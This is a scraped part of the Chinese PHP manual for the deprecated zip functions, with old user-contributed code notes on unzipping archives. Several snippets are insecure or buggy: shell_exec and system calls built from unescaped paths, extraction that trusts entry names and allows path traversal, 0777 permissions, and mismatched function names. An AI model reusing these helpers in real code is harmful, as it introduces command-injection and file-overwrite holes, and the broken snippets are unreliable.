        $location .= '/';

        // Read all Files in Dir
        $dir = opendir ($location);
        while ($file = readdir($dir))
        {
            if ($file == '.' || $file == '..') continue;

            // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File();
            $do = (filetype() == 'dir') ? 'addDir' : 'addFile';
            $this->$do($location . $file, $name . $file);
        }
    } // EO addDirDo();
}
?>
bushj at rpi dot edu 25-Jun-2007 10:59
I made a zip stream handler in case your distribution does not have the built in one using the new ZipArchive system. This one also features the ability to grab entries by index as well as by name. It is similar in capabilities to the builtin gzip/bzip2 compression stream handlers (http://us2.php.net/manual/en/wrappers.compression.php) except it does not support writing.

To use:
fopen('zip://absolute/path/to/file.zip?entryname', $mode) or
fopen('zip://absolute/path/to/file.zip#entryindex', $mode) or
fopen('zip://absolute/path/to/file.zip', $mode)

$mode can only be 'r' or 'rb'. In the last case the first entry in the zip file is used.

<?php
class ZipStream {
  public $zip; //the zip file
  public $entry; //the opened zip entry
  public $length; //the uncompressed size of the zip entry
  public $position; //the current position in the zip entry read
  //Opens the zip file then retrieves and opens the entry to stream
  public function stream_open($path, $mode, $options, &$opened_path) {
    if ($mode != 'r' && $mode != 'rb') //only accept r and rb modes, no writing!
      return false;
    $path = 'file:///'.substr($path, 6); //switch out file:/// for zip:// so we can use url_parse
    $url = parse_url($path);
    //open the zip file
    $filename = $url['path'];
    $this->zip = zip_open($filename);
    if (!is_resource($this->zip))
      return false;

    //if entry name is given, find that entry
    if (array_key_exists('query', $url) && $url['query']) {
      $path = $url['query'];
      do {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      } while (zip_entry_name($this->entry) != $path);
    } else { //otherwise get it by index (default to 0)
      $id = 0;
      if (array_key_exists('fragment', $url) && is_int($url['fragment']))
        $id = $url['fragment']*1;
      for ($i = 0; $i <= $id; $i++) {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      }
    }
    //setup length and open the entry for reading
    $this->length = zip_entry_filesize($this->entry);
    $this->position = 0;
    zip_entry_open($this->zip, $this->entry, $mode);
    return true;
  }
  //Closes the zip entry and file
  public function stream_close() { @zip_entry_close($this->entry); @zip_close($this->zip); }
  //Returns how many bytes have been read from the zip entry
  public function stream_tell() { return $this->position; }
  //Returns true if the end of the zip entry has been reached
  public function stream_eof() { return $this->position >= $this->length; }
  //Returns the stat array, only 'size' is filled in with the uncompressed zip entry size
  public function url_stat() { return array('dev'=>0, 'ino'=>0, 'mode'=>0, 'nlink'=>0, 'uid'=>0, 'gid'=>0, 'rdev'=>0, 'size'=>$this->length, 'atime'=>0, 'mtime'=>0, 'ctime'=>0, 'blksize'=>0, 'blocks'=>0); }
  //Reads the next $count bytes or until the end of the zip entry. Returns the data or false if no data was read.
  public function stream_read($count) {
    $this->position += $count;
    if ($this->position > $this->length)
      $this->position = $this->length;
    return zip_entry_read($this->entry, $count);
  }
}
//Register the zip stream handler
stream_wrapper_register('zip', 'ZipStream'); //if this fails there is already a zip stream handler and we will just use that one
?>
nielsvandenberge at hotmail dot com 11-May-2007 02:29
This is the function I use to unzip a file.
It includes the following options:
* Unzip in any directory you like
* Unzip in the directory of the zip file
* Unzip in a directory with the zipfile's name in the directory of the zip file. (i.e.: C:\test.zip will be unzipped in  C:\test\)
* Overwrite existing files or not
* It creates non existing directories with the function Create_dirs($path)

You should use absolute paths with slashes (/) instead of backslashes (\).
I tested it with PHP 5.2.0 with php_zip.dll extension loaded

<?php
/**
 * Unzip the source_file in the destination dir
 *
 * @param   string      The path to the ZIP-file.
 * @param   string      The path where the zipfile should be unpacked, if false the directory of the zip-file is used
 * @param   boolean     Indicates if the files will be unpacked in a directory with the name of the zip-file (true) or not (false) (only if the destination directory is set to false!)
 * @param   boolean     Overwrite existing files (true) or not (false)
 *
 * @return  boolean     Succesful or not
 */
function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)
{
  if ($zip = zip_open($src_file))
  {
    if ($zip)
    {
      $splitter = ($create_zip_name_dir === true) ? "." : "/";
      if ($dest_dir === false) $dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";

      // Create the directories to the destination dir if they don't already exist
      create_dirs($dest_dir);

      // For every file in the zip-packet
      while ($zip_entry = zip_read($zip))
      {
        // Now we're going to create the directories in the destination directories

        // If the file is not in the root dir
        $pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
        if ($pos_last_slash !== false)
        {
          // Create the directory where the zip-entry should be saved (with a "/" at the end)
          create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
        }

        // Open the entry
        if (zip_entry_open($zip,$zip_entry,"r"))
        {

          // The name of the file to save on the disk
          $file_name = $dest_dir.zip_entry_name($zip_entry);

          // Check if the files should be overwritten or not
          if ($overwrite === true || $overwrite === false && !is_file($file_name))
          {
            // Get the content of the zip entry
            $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));

            file_put_contents($file_name, $fstream );
            // Set the rights
            chmod($file_name, 0777);
            echo "save: ".$file_name."<br />";
          }

          // Close the entry
          zip_entry_close($zip_entry);
        }
      }
      // Close the zip-file
      zip_close($zip);
    }
  }
  else
  {
    return false;
  }

  return true;
}

/**
 * This function creates recursive directories if it doesn't already exist
 *
 * @param String  The path that should be created
 *
 * @return  void
 */
function create_dirs($path)
{
  if (!is_dir($path))
  {
    $directory_path = "";
    $directories = explode("/",$path);
    array_pop($directories);

    foreach($directories as $directory)
    {
      $directory_path .= $directory."/";
      if (!is_dir($directory_path))
      {
        mkdir($directory_path);
        chmod($directory_path, 0777);
      }
    }
  }
}

// Extract C:/zipfiletest/zip-file.zip to C:/zipfiletest/zip-file/ and overwrites existing files
unzip("C:/zipfiletest/zip-file.zip", false, true, true);

// Extract C:/zipfiletest/zip-file.zip to C:/another_map/zipfiletest/ and doesn't overwrite existing files. NOTE: It doesn't create a map with the zip-file-name!
unzip("C:/zipfiletest/zip-file.zip", "C:/another_map/zipfiletest/", true, false);

?>
jeswanth@gmail 30-Apr-2007 12:55
Hi, all

There are lot of functions given below which etracts files, but what they lack is setting file permissions. On some servers file permissions are very important and the script cease to work after creating first directory, So I have added chmod to the code. There is only one limitation to the code, files without file extension are neither treated as files or directories so they are not chmoded, anyway this does not affect the code. Hope this helps.

<?php
function unpackZip($dir,$file) {
   if ($zip = zip_open($dir.$file.".zip")) {
     if ($zip) {
       mkdir($dir.$file);
     chmod($dir.$file, 0777);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $dir_name = dirname(zip_entry_name($zip_entry));
           if ($dir_name != ".") {
             $dir_op = $dir.$file."/";
               foreach ( explode("/",$dir_name) as $k) {
                 $dir_op = $dir_op . $k;
                 if (is_file($dir_op)) unlink($dir_op);
                 if (!is_dir($dir_op)) mkdir($dir_op);
            chmod($dir_op, 0777);
                 $dir_op = $dir_op . "/" ;
                 }
               }
           $fp=fopen($dir.$file."/".zip_entry_name($zip_entry),"w+");
        chmod($dir.$file."/".zip_entry_name($zip_entry), 0777);
           fwrite($fp,$buf);

           fclose($fp);

           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}

$dir = $_SERVER['DOCUMENT_ROOT']."/"."destdirectory/";
$file = 'zipfilename_without_extension';
unpackZip($dir,$file);
$print = $_SERVER['DOCUMENT_ROOT'];
?>
bholub at chiefprojects dot com 17-Oct-2006 12:14
This will simply unpack (including directories) $zip to $dir -- in this example the zip is being uploaded.
<?php
    $dir = 'C:\\reports-temp\\';
    $zip = zip_open($_FILES['report_zip']['tmp_name']);
    while($zip_entry = zip_read($zip)) {
        $entry = zip_entry_open($zip,$zip_entry);
        $filename = zip_entry_name($zip_entry);
        $target_dir = $dir.substr($filename,0,strrpos($filename,'/'));
        $filesize = zip_entry_filesize($zip_entry);
        if (is_dir($target_dir) || mkdir($target_dir)) {
            if ($filesize > 0) {
                $contents = zip_entry_read($zip_entry, $filesize);
                file_put_contents($dir.$filename,$contents);
            }
        }
    }
?>
angelnsn1 at hotmail dot com 26-Jan-2006 06:06
this function extract all files and subdirectories, you can choose verbose mode for get paths of files extracted. the function return a msg what indicate the error, if msg is OK, all is done.

---

code:

<?php
function unzip($dir, $file, $verbose = 0) {

   $dir_path = "$dir$file";
   $zip_path = "$dir$file.zip";

   $ERROR_MSGS[0] = "OK";
   $ERROR_MSGS[1] = "Zip path $zip_path doesn't exists.";
   $ERROR_MSGS[2] = "Directory $dir_path for unzip the pack already exists, impossible continue.";
   $ERROR_MSGS[3] = "Error while opening the $zip_path file.";

   $ERROR = 0;

   if (file_exists($zip_path)) {

         if (!file_exists($dir_path)) {

            mkdir($dir_path);

         if (($link = zip_open($zip_path))) {

            while (($zip_entry = zip_read($link)) && (!$ERROR)) {

               if (zip_entry_open($link, $zip_entry, "r")) {

                  $data = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                  $dir_name = dirname(zip_entry_name($zip_entry));
                  $name = zip_entry_name($zip_entry);

                  if ($name[strlen($name)-1] == '/') {

                        $base = "$dir_path/";

                     foreach ( explode("/", $name) as $k) {

                        $base .= "$k/";

                        if (!file_exists($base))
                           mkdir($base);

                     }

                  }
                  else {

                      $name = "$dir_path/$name";

                      if ($verbose)
                       echo "extracting: $name<br>";

                    $stream = fopen($name, "w");
                    fwrite($stream, $data);

                  }

                  zip_entry_close($zip_entry);

               }
               else
                  $ERROR = 4;

              }

              zip_close($link);

           }
           else
              $ERROR = "3";
       }
       else
          $ERROR = 2;
    }
    else
       $ERROR = 1;

   return $ERROR_MSGS[$ERROR];

}
?>

---

example:

<?php
$error = unzip("d:/www/dir/", "zipname", 1);

echo $error;
?>

---

i hope this help you,
good bye.
ringu at mail dot ru 20-Aug-2005 06:12
i try to find function that will show exists file in zip archive or not. of course i not found it. and so write mine:

first will just check archive for list of files, if not found all files function return FALSE:

<?php
function zipx_entries_exists()
{
    $names=array();
    $args=func_get_args();
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=1; $x<=$far_size; $t+=in_array($args[$x], $names), $x++);
            return $t==--$far_size;
        }else{
             return 'No zip file in descriptor!';
        }
}

example:
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_exists($zip, 'photo_1.jpg', 'photo_2.jpg'));

second function will try to find files in zip, if not found it return string with names of not found files with specified delimeter:

function zipx_entries_nonexists_list()
{
    $names=array();
    $args=func_get_args();
    $m=NULL;
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=2; $x<=$far_size; $m.=(in_array($args[$x], $names) ? NULL : $args[$x].$args[1]), $x++);
            return trim($m, $args[1]);
        }else{
             return 'No zip file in descriptor!';
        }
}
?>

example:
<?php
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_nonexists_list($zip, '<br />', 'photo_1.jpg', 'photo_2.jpg'));
?>

it will return if not found files:
photo_1.jpg<br />photo_2.jpg
tom 27-Jun-2005 09:33
If you just want to unzip a zip folder an alternative to some of the lengthy functions below is:

<?php

function unzip($zip_file, $src_dir, $extract_dir)
{
 copy($src_dir . "/" . $zip_file, $extract_dir . "/" . $zip_file);
 chdir($extract_dir);
 shell_exec("unzip $zip_file");
}

?>

You don't need the ZIP extension for this.
candido1212 at yahoo dot com dot br 27-Apr-2005 08:52
New Unzip function, recursive extract
Require mkdirr() (recursive create dir)

<?php
$file = "2537c61ef7f47fc3ae919da08bcc1911.zip";
$dir = getcwd();
function Unzip($dir, $file, $destiny="")
{
    $dir .= DIRECTORY_SEPARATOR;
    $path_file = $dir . $file;
    $zip = zip_open($path_file);
    $_tmp = array();
    $count=0;
    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $_tmp[$count]["filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["stored_filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["size"] = zip_entry_filesize($zip_entry);
            $_tmp[$count]["compressed_size"] = zip_entry_compressedsize($zip_entry);
            $_tmp[$count]["mtime"] = "";
            $_tmp[$count]["comment"] = "";
            $_tmp[$count]["folder"] = dirname(zip_entry_name($zip_entry));
            $_tmp[$count]["index"] = $count;
            $_tmp[$count]["status"] = "ok";
            $_tmp[$count]["method"] = zip_entry_compressionmethod($zip_entry);

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                if($destiny)
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $destiny . zip_entry_name($zip_entry));
                }
                else
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $dir . zip_entry_name($zip_entry));
                }
                $new_dir = dirname($path_file);

                // Create Recursive Directory
                mkdirr($new_dir);

                $fp = fopen($dir . zip_entry_name($zip_entry), "w");
                fwrite($fp, $buf);
                fclose($fp);

                zip_entry_close($zip_entry);
            }
            echo "\n</pre>";
            $count++;
        }

        zip_close($zip);
    }
}
Unzip($dir,$file);
?>
22-Feb-2005 08:54
If (as me) all you wanted to do is store a big string (for example, a serialized array or the like) in a mysql BLOB field, remember that mysql has a COMPRESS() and UNCOMPRESS() pair of functions that do exactly that. Compression/decompression is therefore available also when accessing the DB from other languages like java, etc.
krishnendu at spymac dot com 31-May-2004 01:28
If you want to unzip an password protected file with php..try the following command....it works in Unix/Apache environment...I haven't tested in any other environment...

system("`which unzip` -P Password $zipfile -d $des",$ret_val)

Where $zipfile is the path to the .zip to be unzipped and $des is path to the destination directory.....here both absolute and relative path to the script (which contains this system command) will work...

if everything runs well...file should be unzipped at the $des directory..and you will get 0 value for $ret_val , which means success(info-zip.org)

Regards
Krishnendu
travis 17-Jun-2003 10:06
just a not of caution--using the dynamic zip class mentioned earlier seems to cause issues with high ascii characters (their values are not preserved correctly, and the file will not unzip)
chris 22-Mar-2003 10:32
Watch out with archives that contain subfolders if you're using the zip functions to extract archives to actual files.  Let's say you're trying to extract foldername/filename.txt from the archive.  You can't fopen a directory that doesn't exist, so you'll have to check for the existance of directory foldername and create it if it isn't found, then fopen foldername/filename.txt and begin writing to that.


关闭一个ZIP档案文件

  • ? Zip 函数
  • zip_entry_close ?
  • PHP Manual
  • Zip 函数
  • 关闭一个ZIP档案文件

zip_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_close — 关闭一个ZIP档案文件

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_close(resource $zip): void

关闭一个指定的ZIP档案文件。

参数

zip

一个由zip_open()打开的ZIP文件资源。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::close()。

参见

  • zip_open() - 打开 ZIP 文件归档
  • zip_read() - 读取 ZIP 文件归档中下一项

User Contributed Notes

There are no user contributed notes for this page.


关闭目录项

  • ? zip_close
  • zip_entry_compressedsize ?
  • PHP Manual
  • Zip 函数
  • 关闭目录项

zip_entry_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_close — 关闭目录项

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_entry_close(resource $zip_entry): bool

关闭指定的目录项。

参数

zip_entry

一个由zip_entry_open()打开的项目。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API。

参见

  • zip_entry_open() - 打开用于读取的目录实体
  • zip_entry_read() - 读取一个打开了的压缩目录实体

User Contributed Notes

There are no user contributed notes for this page.


检索目录项压缩过后的大小

  • ? zip_entry_close
  • zip_entry_compressionmethod ?
  • PHP Manual
  • Zip 函数
  • 检索目录项压缩过后的大小

zip_entry_compressedsize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_compressedsize — 检索目录项压缩过后的大小

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_entry_compressedsize(resource $zip_entry): int|false

返回指定目录项压缩过后的大小。

参数

zip_entry

由函数zip_read() 返回的目录项。

返回值

压缩后的大小， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::statIndex()。

参见

  • zip_open() - 打开 ZIP 文件归档
  • zip_read() - 读取 ZIP 文件归档中下一项

User Contributed Notes

There are no user contributed notes for this page.


检索目录实体的压缩方法

  • ? zip_entry_compressedsize
  • zip_entry_filesize ?
  • PHP Manual
  • Zip 函数
  • 检索目录实体的压缩方法

zip_entry_compressionmethod

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_compressionmethod — 检索目录实体的压缩方法

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_entry_compressionmethod(resource $zip_entry): string|false

返回由函数zip_entry确定的目录实体的压缩方法。

参数

zip_entry

由函数zip_read() 返回的目录实体。

返回值

压缩方法， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::statIndex()。

参见

  • zip_open() - 打开 ZIP 文件归档
  • zip_read() - 读取 ZIP 文件归档中下一项

User Contributed Notes

There are no user contributed notes for this page.


检索目录实体的实际大小

  • ? zip_entry_compressionmethod
  • zip_entry_name ?
  • PHP Manual
  • Zip 函数
  • 检索目录实体的实际大小

zip_entry_filesize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_filesize — 检索目录实体的实际大小

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_entry_filesize(resource $zip_entry): int|false

返回指定目录实体的实际大小。

参数

zip_entry

由函数zip_read() 返回的目录实体。

返回值

返回该目录实体的大小， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::statIndex()。

参见

  • zip_open() - 打开 ZIP 文件归档
  • zip_read() - 读取 ZIP 文件归档中下一项

User Contributed Notes

Reflex 16-Jul-2010 05:17
Simple function that return total size of files in archive.
May be useful for check for zip bombs.

<?php

function get_zip_originalsize($filename) {
    $size = 0;
    $resource = zip_open($filename);
    while ($dir_resource = zip_read($resource)) {
        $size += zip_entry_filesize($dir_resource);
    }
    zip_close($resource);

    return $size;
}

$size = get_zip_originalsize('file.zip');
echo "original size: $size bytes\n";

?>


检索目录项的名称

  • ? zip_entry_filesize
  • zip_entry_open ?
  • PHP Manual
  • Zip 函数
  • 检索目录项的名称

zip_entry_name

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_name — 检索目录项的名称

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_entry_name(resource $zip_entry): string|false

返回指定目录项的名称。

参数

zip_entry

由函数zip_read() 返回的目录项。

返回值

目录项的名称， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::statIndex()。

参见

  • zip_open() - 打开 ZIP 文件归档
  • zip_read() - 读取 ZIP 文件归档中下一项

User Contributed Notes

kevyn at opsone dot net 20-Nov-2008 07:21
Big note for filename with accents.

Some Zip softwares encode accents with CP850.

So use iconv for keeping your accents SAFE !
leandro_dealmeida at hotmail dot com 27-Sep-2002 09:21
If you want to get the real name of the file without the directory name, you can just use the function basename() as the follow:

<?
$zip_dir = "./import/";
$zip = zip_open($zip_dir."import.zip");
if ($zip) {
    while ($zip_entry = zip_read($zip)) {

        $file = basename(zip_entry_name($zip_entry));
        $fp = fopen($zip_dir.basename($file), "w+");

        if (zip_entry_open($zip, $zip_entry, "r")) {
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            zip_entry_close($zip_entry);
        }

           fwrite($fp, $buf);
        fclose($fp);

        echo "The file ".$file." was extracted to dir ".$zip_dir."\n<br>";
    }
    zip_close($zip);
}
?>

Thefore you can extract files without concern with the directory that is set inside the zip source.

Remember to give write permission (w) on that directory.

Hello from Brazil.
Leandro


打开用于读取的目录实体

  • ? zip_entry_name
  • zip_entry_read ?
  • PHP Manual
  • Zip 函数
  • 打开用于读取的目录实体

zip_entry_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_open — 打开用于读取的目录实体

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_entry_open(resource $zip_dp, resource $zip_entry, string $mode = "rb"): bool

打开ZIP文件中的目录实体以便后续读取。

参数

zip_dp

由函数zip_open()返回的有效的资源句柄。

zip_entry

由函数zip_read()返回的目录实体。

mode

任何在fopen()处理文档中指定的模式。

Note:

由于ZIP在PHP中只支持读取模式，所以mode 实际上总是被设置为"rb"(其他模式会被忽略)。

返回值

成功时返回 true， 或者在失败时返回 false。

Note:

与fopen()和其他类似的方法不同，zip_entry_open() 的返回值只用于标示该操作结果，不需要读取或关闭该目录实体。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API。

参见

  • zip_entry_close() - 关闭目录项
  • zip_entry_read() - 读取一个打开了的压缩目录实体

User Contributed Notes

jrhodes at roket-productions dot com 26-Nov-2008 03:21
'rb' is a valid mode, and means Read-Only Binary Mode.  This mode is used for portability reasons (see fopen).


读取一个打开了的压缩目录实体

  • ? zip_entry_open
  • zip_open ?
  • PHP Manual
  • Zip 函数
  • 读取一个打开了的压缩目录实体

zip_entry_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_read — 读取一个打开了的压缩目录实体

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_entry_read(resource $zip_entry, int $len = 1024): string|false

读取一个打开了的压缩目录实体。

参数

zip_entry

由函数zip_read() 返回的目录实体。

len

需要返回的字节数。

Note:

这字节数应该是你所要读取的未压缩的字节数。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::getFromIndex()。

返回值

成功的时候返回读取到的数据；到达文件末尾的时候返回一个空的字符串； 读取出错的时候则会返回false

参见

  • zip_entry_open() - 打开用于读取的目录实体
  • zip_entry_close() - 关闭目录项
  • zip_entry_filesize() - 检索目录实体的实际大小

User Contributed Notes

There are no user contributed notes for this page.


打开 ZIP 文件归档

  • ? zip_entry_read
  • zip_read ?
  • PHP Manual
  • Zip 函数
  • 打开 ZIP 文件归档

zip_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_open — 打开 ZIP 文件归档

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_open(string $filename): resource|int|false

打开一个新的ZIP归档文件进行读取。

参数

filename

待打开ZIP归档的文件名。

返回值

成功的时候返回资源句柄供 zip_read() 和 zip_close() 后续使用；如果 filename 文件不存在或者出现其他错误，则会返回 false 或相应的错误码。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::open()。

参见

  • zip_read() - 读取 ZIP 文件归档中下一项
  • zip_close() - 关闭一个ZIP档案文件

User Contributed Notes

ohcc at 163 dot com 16-Dec-2015 10:31
The zip archive will NOT be saved on disk before ZipArchive::close() is called. (ZipArchive::close will be called automatically at the end of the script if you don't write that code.)

If you want to delete a file after adding it to the zip archive, you should delete it after ZipArchive::close() is called. Otherwise, the file will be deleted before actually being added into the archive, which will make your zip archive fail to be saved.

<?php
    $za = new ZipArchive();
    $za->open('./xc.zip', ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $file = './notes.txt';
    if( true === $za->addFile($file)){
        unlink($file);
    }
    if(!$za->close()){
        echo 'failure.';
    }
?>
fuljencio at gmail dot com 13-Oct-2009 08:34
getting a mozilla addon version (a firefox extension, for instance):

<?php
    function get_addon_version($path)
    {
        // open zip
        $zip = zip_open($path);

            // find entry
            do {
                $entry = zip_read($zip);
            } while ($entry && zip_entry_name($entry) != "install.rdf");

            // open entry
            zip_entry_open($zip, $entry, "r");

                // read entry
                $entry_content = zip_entry_read($entry, zip_entry_filesize($entry));

                // position of <em:version>
                $version_open_pos = strpos($entry_content, "<em:version>");

                // position of </em:version>
                $version_close_pos = strpos($entry_content, "</em:version>", $version_open_pos);

                // version
                $version = substr(
                        $entry_content,
                        $version_open_pos + strlen("<em:version>"),
                        $version_close_pos - ($version_open_pos + strlen("<em:version>"))
                );

            // close entry
            zip_entry_close($entry);

        // close zip
        zip_close($zip);

        return $version;
    }
?>
strefrextor at gmail [.] com 13-Sep-2009 04:43
my basic extract zip file function

<?php
    function ezip($zip, $hedef = '')
    {
        $root = $_SERVER['DOCUMENT_ROOT'];
        $zip = zip_open($root . $zip);
        while($zip_icerik = zip_read($zip)):
            $zip_dosya = zip_entry_name($zip_icerik);
            if(strpos($zip_dosya, '.')):
                $hedef_yol = $root . $hedef . 'x/'.$zip_dosya;
                touch($hedef_yol);
                $yeni_dosya = fopen($hedef_yol, 'w+');
                fwrite($yeni_dosya, zip_entry_read($zip_icerik));
                fclose($yeni_dosya);
            else:
                @mkdir($root . $hedef . 'x/'.$zip_dosya);
            endif;
        endwhile;
    }

    ezip('files.zip', 'unzip_files/');
?>
david at php dot net 20-Jun-2009 03:32
Note that the Zip functions return an integer error number in the event of error. So:

<?php
$zip = zip_open($file);

if ($zip) {
?>

is incorrect. Instead use:

<?php
$zip = zip_open($file);

if (is_resource($zip)) {
?>
Anonymous 16-Sep-2008 11:17
Note, this function ignores custom stream wrappers, like the ones created by stream_wrapper_register - which is really too bad.
xsign dot dll at clansuite dot com 06-Sep-2008 09:22
If you want to simply extract a strain of a zip file, then use this func. Maybe it helps:

<?php
/**
* This method unzips a directory within a zip-archive
*
* @author Florian 'x!sign.dll' Wolf
* @license LGPL v2 or later
* @link http://www.xsigndll.de
* @link http://www.clansuite.com
*/

function extractZip( $zipFile = '', $dirFromZip = '' )
{
    define(DIRECTORY_SEPARATOR, '/');

    $zipDir = getcwd() . DIRECTORY_SEPARATOR;
    $zip = zip_open($zipDir.$zipFile);

    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $completePath = $zipDir . dirname(zip_entry_name($zip_entry));
            $completeName = $zipDir . zip_entry_name($zip_entry);

            // Walk through path to create non existing directories
            // This won't apply to empty directories ! They are created further below
            if(!file_exists($completePath) && preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
            {
                $tmp = '';
                foreach(explode('/',$completePath) AS $k)
                {
                    $tmp .= $k.'/';
                    if(!file_exists($tmp) )
                    {
                        @mkdir($tmp, 0777);
                    }
                }
            }

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                if( preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
                {
                    if ($fd = @fopen($completeName, 'w+'))
                    {
                        fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                        fclose($fd);
                    }
                    else
                    {
                        // We think this was an empty directory
                        mkdir($completeName, 0777);
                    }
                    zip_entry_close($zip_entry);
                }
            }
        }
        zip_close($zip);
    }
    return true;
}

// The call to exctract a path within the zip file
extractZip( 'clansuite.zip', 'core/filters' );
?>
alban dot lopez+php dot net at gmail dot com 16-Nov-2007 03:13
See this class to make, read Infos or extract ZIP archive.
see EasyArchive.class.php on http://ajaxbrowser.free.fr/ to manage like that ZIP, GZIP, BZIP and TAR archive.

<?
$ARCHIVE = new zip;

$ARCHIVE->makeZip('./','./toto.zip'); // make an ZIP archive
var_export($ARCHIVE->infosZip('./toto.zip'), false); // get infos of this ZIP archive (without files content)
var_export($ARCHIVE->infosZip('./toto.zip')); // get infos of this ZIP archive (with files content)
$ARCHIVE->extractZip('./toto.zip', './1/'); //

class zip
{
    public function infosZip ($src, $data=true)
    {
        if (($zip = zip_open(realpath($src))))
        {
            while (($zip_entry = zip_read($zip)))
            {
                $path = zip_entry_name($zip_entry);
                if (zip_entry_open($zip, $zip_entry, "r"))
                {
                    $content[$path] = array (
                        'Ratio' => zip_entry_filesize($zip_entry) ? round(100-zip_entry_compressedsize($zip_entry) / zip_entry_filesize($zip_entry)*100, 1) : false,
                        'Size' => zip_entry_compressedsize($zip_entry),
                        'NormalSize' => zip_entry_filesize($zip_entry));
                    if ($data)
                        $content[$path]['Data'] = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                    zip_entry_close($zip_entry);
                }
                else
                    $content[$path] = false;
            }
            zip_close($zip);
            return $content;
        }
        return false;
    }
    public function extractZip ($src, $dest)
    {
        $zip = new ZipArchive;
        if ($zip->open($src)===true)
        {
            $zip->extractTo($dest);
            $zip->close();
            return true;
        }
        return false;
    }
    public function makeZip ($src, $dest)
    {
        $zip = new ZipArchive;
        $src = is_array($src) ? $src : array($src);
        if ($zip->open($dest, ZipArchive::CREATE) === true)
        {
            foreach ($src as $item)
                if (file_exists($item))
                    $this->addZipItem($zip, realpath(dirname($item)).'/', realpath($item).'/');
            $zip->close();
            return true;
        }
        return false;
    }
    private function addZipItem ($zip, $racine, $dir)
    {
        if (is_dir($dir))
        {
            $zip->addEmptyDir(str_replace($racine, '', $dir));
